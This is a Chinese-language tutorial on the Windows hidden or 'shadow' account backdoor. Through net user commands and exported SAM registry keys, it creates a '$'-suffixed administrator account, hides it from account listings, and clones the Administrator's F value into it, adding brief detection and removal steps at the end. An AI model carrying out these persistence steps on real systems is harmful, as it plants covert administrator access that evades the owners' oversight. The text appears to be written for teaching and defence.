0x001 系统账户隐藏
黑客入侵一台主机后,一般都想办法给自己留后门,其中使用最多的就是账户隐藏技术。账户隐藏技术可谓是最隐蔽的后门,一般用户很难发现系统中隐藏账户的存在,因此危害性很大,本文就对隐藏账户这种黑客常用的技术进行复现。
0x002 新建特殊账户
通过 net user
命令创建隐藏账号,并将其加入 administrators
组
net user test$ 123456 /add
net localgroup administrators test$ /add
注:创建的用户名必须以 $ 符号结尾
添加后,该帐户可在一定条件下隐藏,输入net user
无法获取信息
但是,在登录界面以及本地用户和组中却能够发现该帐户
0x003 赋予注册表权限
使用 WIN R
键,输入regedit
打开注册表,展开注册表 [HKEY_LOCAL_MACHINESAM|SAM]
默认情况下 SAM
这个项里没有任何内容,这是因为用户对它没有权限。
在这个项的右键菜单里,为 administrator
用户赋予完全控制权限。
然后重新启动注册表,即可看到如下效果
0x004 导出注册表
在 [SAMDomainsAccountUsersNames] 项里显示了当前系统存在的所有账户,选中 test ,在其右侧有一个(默认)选项,类型为 0x3eb 的键值。其中的 3eb 就是 test 账户 SID 的结尾,即 RID(这里使用十六进制表示)。另外,在 [SAMDomainsAccountUsers] 里还有一个以 3eb 结尾的子项。
这两个项里都是存放了用户 test$
的信息。在这两个项上单击右键,执行 导出 命令,将这两个项的值分别导出成扩展名为 .reg
的注册表文件。
0x005 删除特殊账户
然后将 test$
账户删除
net user test$ /del
再次重启注册表,此时上述两个项都没了
0x006 导入 reg 文件
下面再通过命令行将刚才导出的两个注册表 .reg
文件进行重新导入
regedit /s test.reg
regedit /s test1.reg
此时在注册表里就有了 test$
账户信息
隐藏账户制做完成,控制面板不存在帐户 test$
通过 net user
无法列出该帐户
通关 WIN R
键,输入lusrmgr.msc
打开本地用户和组,查看用户,也无法列出该帐户
但可通过如下方式查看,这种方式的前提是必须已经清楚隐藏账户的名字,所以一般是管理员是不会发现的
使用这个隐藏账户可以登录系统,但缺点是仍然会产生用户配置文件,下面再对这个账户做进一步处理,以使之完全隐藏。
0x007 隐藏用户配置文件
展开 [SAMDomainsAccountUsersUsers]
注册表项中,找到 administrator
用户的 RID
值 1f4
,展开对应的 000001F4
项,其右侧有一个名为 F
的键值,这个键值就存放了用户的 SID
。
下面将这个键值的数据全部复制,并粘贴到 000003EB
项的 F
键值中,也就是将 administrator
用户的 SID
赋给了 test$
这样在操作系统内部,实际上就把 test 当做是 administrator,test 成了 administrator 的影子账户,与其使用同一个用户配置文件,test
0x008 删除隐藏用户
使用普通的账户删除命令是无法删除隐藏账户的,提示用户不属于此组
只能将删除注册表 [HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers]
下对应帐户的键值(共有两处),也就是刚刚创建 test$
所产生的那两个注册表文件
删除完这两个注册表项后,即可完全清除隐藏账户 test$
0x009 防御隐藏用户
- 打开注册表的
[HKEY_LOCAL_MACHINE]
项,检查该项下的[SAMSAMDomainsAccountUsers]
是否有可疑账户 - 默认管理员权限无法查看注册表,需要分配权限或是提升至
System
权限 - 隐藏帐户的登录记录,可通过查看日志获取
参考文章
- https://www.cnblogs.com/wjvzbr/p/7906855.html